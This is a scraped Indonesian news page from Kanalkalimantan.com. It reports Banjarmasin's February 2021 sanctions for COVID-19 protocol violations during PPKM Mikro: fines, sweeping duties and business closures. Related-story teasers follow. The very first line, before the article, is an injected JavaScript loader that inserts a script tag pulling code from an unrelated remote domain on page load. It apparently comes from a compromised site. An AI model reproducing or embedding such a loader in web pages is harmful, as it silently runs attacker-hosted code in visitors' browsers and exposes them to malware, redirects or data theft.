(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemerintah Kota (Pemko) Banjarmasin akan memberikan sanksi tegas kepada para pelanggar protokol kesehatan selama Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Mikro.
Tindakan tegas ini untuk memastikan PPKM Mikro benar-benar efektif menekan angka penyebaran Covid-19 di Kota Banjarmasin. Hal ini disampaikan oleh Wali Kota Banjarmasin Ibnu Sina kepada wartawan, Rabu (10/2/2021).
“Sanksi Penerapan Disiplin dan Penegakan Hukum Protokol Kesehatan sebagai Upaya Pencegahan dan Pengendalian Covid-19 sudah diatur dalam Perwali Nomor 68 Tahun 2020,” katanya.
Pemberian sanksi juga berlaku ke pelaku usaha dan masyarakat. Mulai administrasi, denda, hingga sosial berupa membersihkan sarana fasilitas umum. “Sanksi sosial bisa berupa menyapu, sanksi administrasi mulai dari teguran lisan, tertulis, hingga denda sebanyak Rp100 ribu” pungkasnya.
Sementara untuk pelaku usaha, pengelola, penyelenggara, atau penanggung jawab tempat, dan fasilitas umum nantinya akan dikenakan denda sebanyak Rp 150 ribu. Serta bisa terancam penghentian sementara tempat usaha dan juga pencabutan izin usaha.
“Misal ada kafe atau THM yang masih beroperasi di atas jam 10 malam, kami tegur, kalau sampai tiga kali nggak nurut, akan kami segel,” katanya.
Sejauh ini strategi awal yang dilakukan Pemko Banjarmasin pada PPKM Mikro ini dengan melakukan pemetaan zonasi per-Kecamatan, Kelurahan hingga ke Komplek untuk Pemetaan zonasi tersebut yang mengacu dengan batasan yang ditentukan Instruksi Mendagri.(Kanalkalimantan.com/putra)
KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
This website uses cookies.